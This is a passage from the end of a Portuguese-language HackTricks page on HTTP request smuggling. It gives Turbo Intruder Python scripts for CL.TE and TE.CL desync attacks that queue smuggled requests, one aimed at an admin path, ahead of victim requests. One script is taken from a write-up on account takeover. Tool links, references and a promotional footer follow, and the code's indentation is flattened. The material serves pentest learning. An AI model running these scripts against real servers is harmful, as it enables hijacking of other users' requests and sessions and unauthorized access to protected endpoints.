GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```
### TE.CL

De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```
## Ferramentas

* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de requisição.

## Referências

* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>